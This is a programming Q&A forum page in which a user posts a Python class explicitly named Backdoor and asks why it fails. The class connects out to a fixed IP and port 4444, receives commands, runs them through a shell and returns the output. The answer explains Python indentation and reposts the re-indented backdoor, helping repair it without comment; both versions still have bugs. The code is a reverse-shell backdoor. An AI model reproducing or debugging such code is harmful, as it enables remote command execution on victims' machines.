Click here to Skip to main content
15,121,564 members
Please Sign up or sign in to vote.
1.00/5 (1 vote)
See more:
This problem take me more time and i able to understand on it and i can able to solve ..


{
#!/usr/bin/env python
Python
import socket
import subprocess 
class Backdoor:
   def __init__(self, ip, port):
      self.connection = socket.socket(socket.AF_INET , socket.SOCK_STREAM)
      self.connection.connect((ip, port))

      def reliable_send(self, data):
          json_data = json.dumps(data)

   def reliable_recieve(self):
      json_data = self.connection.recv(1024)
      return json.loads(json_data)

def execute_system_command(self,command):
       return subprocess.check_output(command, shell=True)

def run(self):
       while True:
             command = self.reliable_recieve()
             command_result = self.execute_system_command(command)
             connection.reliable_send(command_result)
             connection.close()

my_Backdoor = Backdoor("192.168.152.140", 4444)
my_Backdoor.run()
}


What I have tried:

I have tried to change some of my code like class but still the error is present 
Posted
Updated 22-Sep-21 6:07am
v2

1 solution

Indentation in Python is very important: it controls flow and also defines when blocks of code start and stop.
To be part of the same block, code must have identical indentation:
Python
class Backdoor:
   def __init__(self, ip, port):
      self.connection = socket.socket(socket.AF_INET , socket.SOCK_STREAM)
      self.connection.connect((ip, port))

The init function is part of the class becuas eit is indented to the right of the class definition.
Python
import socket
import subprocess 
class Backdoor:
...
def execute_system_command(self,command):
       return subprocess.check_output(command, shell=True)

def run(self):
       while True:
             command = self.reliable_recieve()
             command_result = self.execute_system_command(command)
             connection.reliable_send(command_result)
             connection.close()

execute_system_command and run are not part of the class, becuas ethey are not indented to exactly the same level as the initialization function.
Try this:
<pre lang="python">import socket
import subprocess 
class Backdoor:
   def __init__(self, ip, port):
      self.connection = socket.socket(socket.AF_INET , socket.SOCK_STREAM)
      self.connection.connect((ip, port))

   def reliable_send(self, data):
      json_data = json.dumps(data)

   def reliable_recieve(self):
      json_data = self.connection.recv(1024)
      return json.loads(json_data)

   def execute_system_command(self,command):
      return subprocess.check_output(command, shell=True)

   def run(self):
      while True:
         command = self.reliable_recieve()
         command_result = self.execute_system_command(command)
         connection.reliable_send(command_result)
         connection.close()

my_Backdoor = Backdoor("192.168.152.140", 4444)
my_Backdoor.run()
And see if that improves it.
   

This content, along with any associated source code and files, is licensed under The Code Project Open License (CPOL)




CodeProject, 20 Bay Street, 11th Floor Toronto, Ontario, Canada M5J 2N8 +1 (416) 849-8900